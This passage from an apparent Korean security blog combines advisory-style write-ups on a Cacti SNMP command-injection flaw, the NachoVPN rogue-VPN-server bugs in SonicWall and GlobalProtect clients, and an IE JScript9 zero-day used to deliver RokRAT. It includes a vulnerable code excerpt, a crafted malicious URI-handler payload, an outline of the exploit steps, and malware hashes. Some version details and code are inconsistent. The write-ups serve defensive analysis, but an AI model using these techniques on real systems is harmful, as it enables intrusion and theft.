[4] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413
[5] https://www.vicarius.io/vsociety/posts/monikerlink-critical-vulnerability-in-ms-outlook-cve-2024-21413
[6] https://www.dailysecu.com/news/articleView.html?idxno=163568

1. Cacti [1]

네트워크 및 시스템 성능을 모니터링하는 오픈 소스 도구
> SNMP를 기반으로 네트워크 장비, 서버, 애플리케이션 등의 성능 데이터를 수집하고, RRDTool을 사용하여 그래프 형태로 시각화

※ SNMP (Simple Network Management Protocol) : 네트워크 장비(라우터, 스위치, 서버 등)의 상태 및 성능 데이터를 수집하는 프로토콜
※ RRDTool : 시간에 따라 변화하는 데이터를 저장하고 그래프로 시각화해주는 툴

2. CVE-2025-22604

[사진 1] CVE-2025-22604 [2]

- Cacti의 다중 라인 SNMP 결과 파서의 결함으로 인해 발생하는 원격 코드 실행 취약점 (CVSS : 9.1) [3]

> OID의 일부가 시스템 명령의 일부로 사용되는 배열의 키로 사용되어 취약점이 발생

OID (Object IDentifier) [4] - SNMP는 네트워크 장비의 정보(CPU 사용량, 메모리 사용량, 포트 Up/Down 상태 등)을 MIB(Management Infomation Base)에 저장해 정보를 주고받음
-  MIB 내에 포함되어 있는 각 개별 정보(Object)에 대한 ID를 OID라 함
-  즉, CPU 사용량, 메모리 사용량, 포트 상태 등 각 정보에 대해 구분할 수 있는 ID
영향받는 버전 : Cacti <= 1.2.8

 

ss_net_snmp_disk_io() 또는 ss_net_snmp_disk_bytes()로 처리될 때 각 OID의 일부가 시스템 명령의 일부로 사용되는 배열의 키로 사용되어 취약점이 발생
> cacti_snmp_walk()에서 exec_into_array()를 사용해 명령을 실행하고 여러 줄을 배열로 사용해 결과를 읽음
> 그 후, [사진 2]의 코드를 사용해 문자 = 를 기준으로 왼쪽 값을 OID에, 오른쪽 값을 Value에 저장
> Value의 경우 필터링을 적용하지만, OID 값은 필터링 없이 사용

[사진 2] OID와 Value 분할 코드

$i=0;
foreach($temp_array as $index => $value) { // $temp_array 배열 순회
	if(preg_match('/(.*=.*/',$value)) { // $value 값이 "키=값" 형식인 경우
		$parts=explode('=',$value,2); // = 문자를 기준으로 $value를 두 부분으로 분할
		$snmp_array[$i]['oid']=trim($parts[0]); // 공백을 제거한 후 값을 oid에 저장
		$snmp_array[$i]['value']=format_snmp_string($parts[1],false,$value_output_format); // 필터링 후 value에 저장
		$i++; // 다음 배열 인덱스로 이동
	} else { // 멀티라인 값 처리
		$snmp_array[$i-1]['value'].=$value;
	}
}

3. 해결방안

- 벤더사 제공 보안 업데이트 제공

제품명 영향받는 버전 해결 버전
Cacti <= 1.2.8 1.2.29

4. 참고

[1] https://www.cacti.net/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-22604
[3] https://github.com/Cacti/cacti/security/advisories/GHSA-c5j8-jxj3-hh36
[4] https://blog.naver.com/watch_all/221698867095
[5] https://thehackernews.com/2025/01/critical-cacti-security-flaw-cve-2025.html

1. 개요

- PaloAlto GlobalProtect, SonicWall NetExtender SSL-VPN 클라이언트 등에 심각한 취약점 "NachoVPN" 발견 [1][2][3]
- 공격자가 악성 VPN 서버를 통해 피해자 기기에 악성 업데이트 설치 또는 민감한 정보를 탈취할 수 있음
- 소셜 엔지니어링 기법을 활용해 사용자를 악성 VPN 서버로 유도해 익스플로잇

2. 주요내용

2.1 CVE-2024-29014

[사진 1] CVE-2024-29014 [4]

- SonicWall의 NetExtender Windows(32 및 64비트) 클라이언트에서 발생하는 임의 코드 실행 취약점
소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 EPC 클라이언트 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전

 

- NetExtender 클라이언트는 SSL-VPN 서버에 연결하는 동안 서버에 EPC 클라이언트 업데이트가 있는지 확인하기 위한 요청 전송
> GET /cgi-bin/sslvpnclient?epcversionquery=nxw
> 서버는 버전 번호로 판단되는 값으로 응답
> 응답이 0xFF인 경우 클라이언트는 /NACAgent.exe에 대한 GET 요청을 전송

 

- NECore.dll의 ValidateSignature()에서 해당 파일이 다운로드되고 유효성을 검증

> 해당 함수는 WINTRUST_ACTION_GENERIC_VERIFY_V2 작업을 사용해 WinVerifyTrust 호출 (실행 파일에 포함된 Authenticode 서명 검증 과정)
> 그러나 실행 파일의 서명이 신뢰할 수 있는 CA와 연결되는지만 확인하며, 특정 게시자(Microsoft, Adobe, Oracle 등)에 의해 서명되었는지 확인하지 않음

> 따라서 시스템에서 신뢰하는 코드 서명 인증서로 실행 파일을 서명만 하게되면 서명 검사를 통과할 수 있음

※ 다운로드한 NACAgent.exe는 SYSTEM으로 실행되는 NEService.exe의 자식 프로세스로 실행

 

[사진 2] ValidateSignature()

- sonicwallconnectagent 사용자 정의 URI 핸들러는 SMA Connect 에이전트에 의해 Windows 레지스트리에 등록

> 핸들러는 클라이언트가 연결해야하는 서버를 지정하는 Base64로 인코딩된 JSON 개체가 포함
따라서 공격자는 host 값을 악의적인 SSL-VPN 서버의 IP를 가리키도록 sonicwallconnectagent:// URL을 제작하면 취약점 악용 가능

 

[사진 3] 레지스트리

[사용자 정의 URI 핸들러 예시]
sonicwallconnectagent://eyJhY3Rpb24iOjEwLCJoZWxwZXJ2ZXJzaW9uIjoiMS4xLjQyIiwiaG9zdCI6IjE3Mi4xNy4xMjguMSIsInBvcnQiOiI0NDMiLCJ1c2VybmFtZSI6InVzZXIiLCJleHRlbmRpZCI6IkV0UUJ2MFp3elY0OGsxRVpaQ3JMU3ZwOGJLcFh4NFRCcGVISmlmOVUxczQ9In0

[디코딩]
{ action: 10, helperversion: "1.1.42", host: "172.17.128.1", port: "443", username: "user", extendid: "EtQBv0ZwzV48k1EZZCrLSvp8bKpXx4TBpeHJif9U1s4=" }

 

- 사용자가 조작된 페이지를 방문하면 악성 SSL-VPN 서버에 연결 및 서명된 악성 NACAgent.exe 실행
> NetExtender 클라이언트에 EPC 에이전트 업데이트 필요 메시지가 표시되며, 무시 또는 확인을 누를 경우 악성 NACAgent.exe 파일이 시스템 권한으로 실행됨

 

[사진 4] 악성 SSL-VPN 접속

[영상 1] 공격 시연 [5]

2.2 CVE-2024-5921

[사진 5] CVE-2024-5921 [6]

- PaloAlto Networks GlobalProtect 앱의 불충분한 인증 유효성 검사로 임의의 서버에 연결할 수 있는 취약점
> 소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- GlobalProtect 6.2.6 이전 버전

 

- 클라이언트-서버간 인증 과정 중 클라이언트는 POST 메소드로 서버에 자격 증명을 전송
> 서버는 XML 정책 객체로 포맷된 구성 데이터로 응답

 

- GlobalProtect 클라이언트는 기본적으로 응답을 신뢰
> 유일한 검증은 서버가 해당 도메인에 대한 유효한 TLS 인증서를 가지는지 확인하고 제공된 자격증명을 수락하는 것
익스플로잇에서 root-ca, version, uninstall, client-upgrade 요소가 중요

구분 설명
root-ca - 클라이언트에 제공된 인증서를 신뢰할 수 있는 인증서 저장소에 설치하도록 지시
- GlobalProtect 게이트웨이의 IP 주소가 클라이언트가 신뢰하는 TLS 인증서를 사용할 수 있도록 하기위함
- 공격자는 인증서가 주장하는 모든 목적을 위해 컴퓨터가 완전히 신뢰하는 인증서를 설치할 수 있음 (MITM이 발생해 데이터 탈취 또는 악성 SW 서명 및 실행이 가능)
version - 클라이언트에 반환된 version 태그는 업데이트 요청이 트리커되는지 여부를 결정
- 값이 클라이언트에 현재 설치된 버전보다 높은 경우 연결 성공 시 업데이트를 요청
- Portal 인증 응답의 version 태그가 현재 설치된 버전보다 높은 경우
> 클라이언트는 Portal에 업데이트를 요청
> 서버는 클라이언트의 OS와 아키텍처에 맞는 적절한 설치 프로그램으로 302 응답
uninstall - 업그레이드가 관리되는 방식을 설정
> Allow with Prompt (Default) : 새 버전이 확인될 경우 업데이트 메시지 표시
> Allow Transparently : 사용자 상호 작용 없이 자동으로 업데이트 발생
> Internal : 사용자가 내부 네트워크에서 연결되어 있는 경우에만 사용자 상호 작용 없이 업그레이드되며, 내부 GW와 내부 호스트 감지를 구성해야 함 (외부 네트워크에서 연결된 경우 업그레이드 연기)
> Disallow : 업데이트 차단
> Allow Manually : "버전 확인"을 선택해 세 버전이 있는 경우 사용자 판단하 수동 업데이트 적용
client-upgrade - transparent로 설정된 경우 사용자 위치와 동의와 관계없이 자동 업데이트

 

[사진 6] 응답 예시

 

- 공격 성공 조건과 성공 시 가능한 악성 행위는 다음과 같음

구분 설명
공격 성공 조건 - 서버 인증서 : 공인 인증 기관에서 서명한 포털용 인증서
- 사용자 지정 루트 인증 기관(CA) : 로컬에서 생성된 CA PEM 파일이 클라이언트에 제공되어 신뢰할 수 있는 인증서 저장소에 설치
- 코드 서명 인증서 : 사용자 지정 CA가 악성 MSI에 서명하기 위해 서명한 인증서
성공 시 가능한 악성 행위 - 자격 증명 공개 : 사용자가 입력한 인증 세부 정보 수집
- 사기성 루트 인증 기관 설치 : 중간자 공격(MITM)이나 코드 서명과 같은 추가 공격이 가능
- 라우팅 구성 조작 : 네트워크 트래픽을 제어하기 위해 악의적인 라우팅 설정
- 악성 업데이트 요청 : 신뢰할 수 있는 기관에서 서명한 MSI를 가져와서 실행하도록 클라이언트를 트리거

 

[영상 2] Windows 환경 공격 시연 [7]
[영상 3] macOS 환경 공격 시연 [8]

3. 대응방안

- 벤더사 제공 업데이트 적용 [9][10]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-29014 NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전 10.2.341 및 이후 버전
CVE-2024-5921 GlobalProtect 6.2.6 이전 버전 6.2.6
(또는 VPN 클라이언트를 FIPS-CC 모드에서 실행)

 

- NachoVPN 툴 활용 [11]

> 개념 증명용 오픈소스 기반 도구로, 악성 VPN 서버를 시뮬레이션할 수 있음

> Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, Ivanti Connect Secure 등의 VPN 제품 지원

 

- 권고사항

> SSL-VPN 클라이언트를 최신 버전으로 업데이트

> 호스트 기반 방화벽 규칙을 사용해 VPN 클라이언트가 통신할 수 있는 IP 제한

> WDAC, EDR 등을 사용해 VPN 클라이언트가 승인된 실행 파일과 스크립트만 실행할 수 있도록 설정

> 소셜 엔지니어링 공격 관련 사용자 교육

> 다중 인증 적용 등

4. 참고

[1] https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/
[2] https://blog.amberwolf.com/blog/2024/november/sonicwall-netextender-for-windows---rce-as-system-via-epc-client-update-cve-2024-29014/
[3] https://blog.amberwolf.com/blog/2024/november/palo-alto-globalprotect---code-execution-and-privilege-escalation-via-malicious-vpn-server-cve-2024-5921/
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-29014
[5] https://vimeo.com/1024774407
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-5921
[7] https://vimeo.com/1024774239
[8] https://vimeo.com/1024773987
[9] https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0011
[10] https://security.paloaltonetworks.com/CVE-2024-5921
[11] https://github.com/AmberWolfCyber/NachoVPN
[12] https://www.dailysecu.com/news/articleView.html?idxno=161574

1. 개요

- 24.05 무료 S/W의 팝업(Toast) 광고 프로그램을 악용한 TA- RedAnt의 대규모 공격이 탐지 [1]
- IE의 자바스크립트 엔진(jscript9.dll)에 존재하는 제로데이 취약점 악용
- 22년 악용한 IE의 Type Confusion 취약점(CVE-2022-41128)에 간단한 코드를 추가하여 보안 패치를 우회

 

1.1 Chakra

- MS에서 제작한 웹 브라우저의 자바스크립트 엔진
> 웹 브라우저는 HTML, CSS, JavaScript 등의 언어로 작성코드를 사람이 읽을 수 있는 문서로 출력하는 프로그램
> 웹 브라우저에서 자바스크립트 코드를 해석하고 실행하는 역할을 수행

구분 이름
IE 11.0 이하 버전 legacy Chakra engine(jscript9.dll)
Edge Legacy 브라우저 new Chakra engine or Edge engine(Chakra.dll)

1.1.1 동작 과정

- 웹 브라우저에서는 JavaScript의 동작을 위해 자체 엔진을 포함하고 있으며, 빠른 실행을 위해 JIT(Just-In-Time) Compilation 방식을 사용
- MS Chakra에서 JavaScript로 작성된 코드가 실행되는 과정

구분 설명
Parsing 소스코드를 파싱하여 Abstract Syntax Tree(AST)를 생성
※ Abstract Syntax Tree(AST) : 소스코드의 구조를 트리 형태로 나타낸 자료구조
Interpreting - AST는 바이트코드(Bytecode)로 변환되어 인터프리터에 의해 실행
- 실행 중인 함수의 데이터 유형 및 호출 횟수와 같은 정보를 분석해 함수의 프로파일을 생성
Compilation - 생성된 프로파일을 바탕으로 최적화된 기계코드인 JIT’ed code 생성
※ 인터프리터에서 여러 번 호출되는 코드가 탐지되면 바이트코드를 실행하는 대신 JIT’ed code를 실행해 프로그램 동작 속도를 향상 시킴

 

- JavaScript엔진에서는 여러 번 호출되는 코드를 따로 관리

구분 설명
Hot - 자주 반복되는 코드
- 코드가 Hot으로 탐지되면 엔진은 해당 코드를 스텁코드(Stub Code)로 변환
- 이후 바이트코드를 실행하지 않고 미리 생성한 스텁코드를 사용하여 실행 속도를 향상
Warm 덜 자주 반복되는 코드

 

1.2 Toast 광고

- 다양한 무료 S/W와 함께 설치되어 동작
> 실행 시 광고서버로부터 광고 컨텐츠를 다운받아 PC 화면 우측 하단에 광고창 표시
> 서버는 광고 컨텐츠가 포함된 HTML과 JavaScript로 응답
> Toast 광고 프로그램은 응답값을 IE 브라우저 또는 IE 관련 모듈로 랜더링하여 팝업 광고창을 띄움

2. 주요내용

2.1 CVE-2024-38178

[사진 1] CVE-2024-38178 [2]

- Windows Scripting Engine에서 발생하는 Type Confusion 취약점으로 메모리 손상을 유발해 원격 명령 실행을 가능하게 함
> jscript9.dll에서 발생하는 Type Confusion 취약점

※ Type Confusion 취약점 : 프로그램에서 사용하는 변수나 객체를 선언 혹은 초기화되었을 때와 다른 타입으로 사용할 때 발생하는 취약점

스텁코드는 Type Confusion 문제가 발생할 수 있음
- 매개변수로 정수형 변수를 입력받는 함수가 있으며, 메인에서 100번 호출된다고 가정
> 엔진에서는 Hot으로 간주하여 정수형 변수를 전달받는 스텁코드로 변환
> 그 결과, 해당 변수의 데이터 유형을 정수로 예측
> 이 때, 매개변수를 정수가 아닌 다른 데이터 유형으로 전달할 경우 Type Confusion 발생

 

2.2 상세분석

[사진 2] iframe이 삽입된 HTML

- 해커는 국내 광고 대행사 중 한 업체의 광고 서버를 해킹
Toast 광고 프로그램에 전달되는 HTML 코드에 iframe을 삽입하여 경유지를 통해 JavaScript가 로드 되도록 변조
> 해당 JavaScript 파일명은 ad_toast이며 IE(JScript9.dll)의 RCE 취약점이 발현되는 코드가 삽입
> 피해자 PC에 설치된 Toast 광고 프로그램은 취약점 코드를 받아 랜더링하는 과정에서 Exploit 및 해커의 쉘 코드로 실행 흐름이 바뀜

 

[사진 3] CVE-2024-38178 Exploit

- 해커는 과거 악용했던 CVE-2022-41128(Windows 스크립트 언어 RCE [4]) Exploit 코드에 단 3줄을 추가해 기존 패치 우회

ex_func(false, false)를 반복 호출하여 JIT 컴파일러의 최적화 오류를 유도한 뒤 인자를 true로 바꿔 호출

 

- "q=g" 연산으로 Type Confusion 발생 

> 정수 배열로 초기화된 변수 q에 변수 g가 가리키는 데이터를 참조하면 변수 q의 Type이 Object로 변경
> 하지만, JIT 컴파일러의 최적화 오류로 인해 Type을 계속해서 정수 배열로 판단

 

이후 q[4], q[11], q[12]의 값을 0x1FFFFFFF로 변경

> 변경하는 이유는 해당 값이 배열 av의 Type(Js::JavascriptNativeIntArray)과 관련
> 변경한 값은 순서대로 배열 av의 Array Length, Array Actual Length, Buffer Length 항목
> 배열의 길이를 조작하면 Object Dataview를 사용하여 임의의 메모리 영역에 대한 읽기 및 쓰기가 가능하게 되어 임의 코드를 실행할 수 있음

※ JIT 컴파일러의 배열 최적화 과정에서 초기화된 변수로 착각하게 만드는 방법을 이용해 CVE-2022-41128의 패치를 우회

 

[사진 4] 패치

- 해당 취약점은 MS 8월 보안업데이트에서 패치 [4]

> wil::details::FeatureImpl<_ _WilFeatureTraits_Feature_1489045819>::_ _private_ IsEnabled(&`wil::Feature<_ _WilFeatureTraits_Feature_1489045819>::GetImpl’::`2 ’::impl); 함수가 추가
> 해당 함수의 결과 값에 따라 변수 초기화 여부를 검증하는 분기로 진입
> 진입 후 ValueType 클래스에서 정의된 연산자를 통해 두 개의 정수형 값 비교 과정 추가
> 두 Type을 비교해 값이 다를 경우 SetValueType 함수를 호출하여 Type을 일치시키는 추가적인 과정이 수행

 

2.3 악성코드 유포

- 과거부터 꾸준히 사용해온 RokRAT 악성코드를 유포하며 공격 흐름은 아래와 같음
> Ruby를 사용하여 악성 행위 지속성 확보 및 상용 클라우드 서버를 통해 명령제어를 수행

실행 단계 설명
1차 악성코드(43) 다운로드 및
explorer.exe에 인젝션
실행 PC의 파일·프로세스를 확인하여 분석 환경인지 탐지
> 악성코드 43은 첫 1바이트로 XOR 후 실행되는 쉘코드
> 분석 환경이 아니라고 판단되면 경유지에 접속해 2차 악성코드 다운 및 실행
2차 악성코드(23) 다운로드 및 실행 컴퓨터 이름 등 시스템 정보를 수집하고 추가 감염 여부 선별
> 악성코드 23은 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 시스템 정보를 경유지로 전송하고, 응답에 따라 3차 악성코드 다운 및 실행
3차 악성코드(move) 다운로드 및 실행 후
추가 파일 다운로드
악성 스크립트를 삽입한 ruby standalone 드롭 및 악성 행위 지속성 확보
> 악성코드 move는 첫 1바이트로 XOR 후 In-Memory로 실행되는 PE 형태
> 2차 경유지는 원드라이브 1개와 국내 정상 사이트 2개가 악성코드 내부에 하드코딩
> 지속성 확보를 위해 자동실행 되도록 설정 (주기적 실행 또는 PC 부팅 시 실행)
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 현재 실행중인 프로세스 명에 "UBY"가 있는지 확인 후 설치된 백신에 따라 동작 결정
> AVAST·SYMANTEC : 현재 프로세스에서 In-Memory 방식으로 실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
system32 폴더 내 exe 무작위 선택 후
실행 및 인젝션
PC에 설치된 백신(AVAST·SYMANTEC)을 확인하여 다르게 동작
> 프로세스의 자체 종료를 막기 위해 ExitProcess 함수를 후킹 및 함수 인자 및 설치된 백신에 따라 동작 결정
> 인자가 0xAC가 아닐 경우 대기 상태, 0xAC일 경우 후킹을 복원
> AVAST·SYMANTEC : rubyw. exe를 재실행
> 그 외 백신 : system32 폴더에 있는 랜덤 EXE에 인젝션하여 실행
In-Memory로 RokRAT 실행 상용 클라우드(얀덱스 등)를 경유지로 명령제어를 수행하여 PC 정보 절취
> 윈도우 프로시저에서 수신되는 메시지를 기반으로 해당 핸들러에서 악성 행위를 수행

 

구분 MD5
ad_toast e11bb2478930d0b5f6c473464f2a2B6e
43 b9d4702c1b72659f486259520f48b483
23 b18a8ea838b6760f4857843cafe5717d
MOVE da2a5353400bd5f47178cd7dae7879c5
ban04.bak(top_08.bak,content) bd2d599ab51f9068d8c8eccadaca103d
operating_system.rb 감염 PC마다 다름
1차 로더
2차 로더
RokRAT

 

2.4 결론

- MS는 22.06 IE 지원 종료 발표 및 최신 Window OS는 IE가 웹 브라우저로 사용되는 것을 제한하는 등의 조치
> 과거에 비해 워터링홀 공격의 가능성은 희박해짐
> 그러나, 일부 Window 어플리케이션들은 IE를 내장하거나 관련 모듈을 사용해 공격 벡터로 악용될 수 있음
> OS 및 SW 등의 보안 업데이트를 준수하고, 제조사들은 제품 개발 시 보안에 취약한 개발 라이브러리 및 모듈 등이 사용되지 않도록 주의 필요

3. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=164037&menuNo=020000&subMenuNo=020200&thirdMenuNo=
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-38178
[3] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=ms&menuNo=205020&pageIndex=1&categoryCode=&nttId=71524
[4] https://nvd.nist.gov/vuln/detail/CVE-2022-41128
[5] https://www.scworld.com/brief/windows-zero-day-leveraged-for-rokrat-malware-delivery
[6] https://thehackernews.com/2024/10/north-korean-scarcruft-exploits-windows.html
[7] https://thehackernews.com/2024/08/microsoft-issues-patches-for-90-flaws.html
[8] https://www.scworld.com/news/microsoft-patches-9-zero-days-6-exploited-in-the-wild
[9] https://www.boannews.com/media/view.asp?idx=132049
[10] https://www.dailysecu.com/news/articleView.html?idxno=160314
[11] https://www.boannews.com/media/view.asp?idx=133660

+ Recent posts